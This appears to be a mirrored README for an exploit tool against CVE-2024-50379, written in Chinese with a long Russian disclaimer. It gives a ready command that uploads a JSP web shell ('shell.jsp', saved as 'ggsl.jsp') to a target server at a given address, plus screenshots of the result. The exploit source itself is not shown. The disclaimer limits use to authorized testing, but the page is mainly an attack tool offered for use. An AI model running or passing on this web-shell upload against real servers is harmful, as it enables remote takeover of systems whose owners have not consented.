Exploit for CVE-2024-50379

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SLEEPINGBAG945-CVE-2024-50379
手动利用麻烦，搓一个exp。。

食用：

shell.jsp 是shell文件，ggsl.jsp是保存到目标服务器上的名称/路径

`./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp`

![image-20241223151845286](https://assets.kitploit.com/production/public/readmes/20701/86c8c3de9bb0e6769d7ff543f610a4901beb6c797ecae2f5ab22f79c6078b760.png)

![image-20241223151902375](https://assets.kitploit.com/production/public/readmes/20701/68693a0be2d63b41809c20485b5da36c6255562aba21b00682d8e72bf91fe2b8.png)

# Отказ от ответственности

Данный инструмент предназначен только для **легально авторизованных** действий по обеспечению безопасности предприятия. Если вам необходимо проверить работоспособность инструмента, пожалуйста, самостоятельно настройте тестовую среду.

При использовании данного инструмента для проверки вы должны убедиться, что такие действия соответствуют местным законам и нормативным актам, а также что у вас есть достаточные полномочия. **Не проводите сканирование неавторизованных целей.**

Если в процессе использования данного инструмента вы совершите какие-либо незаконные действия, вы самостоятельно несете соответствующие последствия. Мы не несем никакой юридической или иной ответственности.

Перед установкой и использованием данного инструмента, пожалуйста, **внимательно прочитайте и полностью осмыслите все положения**. Положения об ограничениях, отказе от ответственности или иные положения, затрагивающие ваши существенные права, могут быть выделены жирным шрифтом, подчеркиванием и другими способами для привлечения вашего внимания. Если вы не полностью прочитали, не полностью осмыслили и не приняли все положения настоящего соглашения, пожалуйста, не устанавливайте и не используйте данный инструмент. Ваше использование или любое иное явное или подразумеваемое выражение согласия с настоящим соглашением означает, что вы прочитали и согласились с его условиями.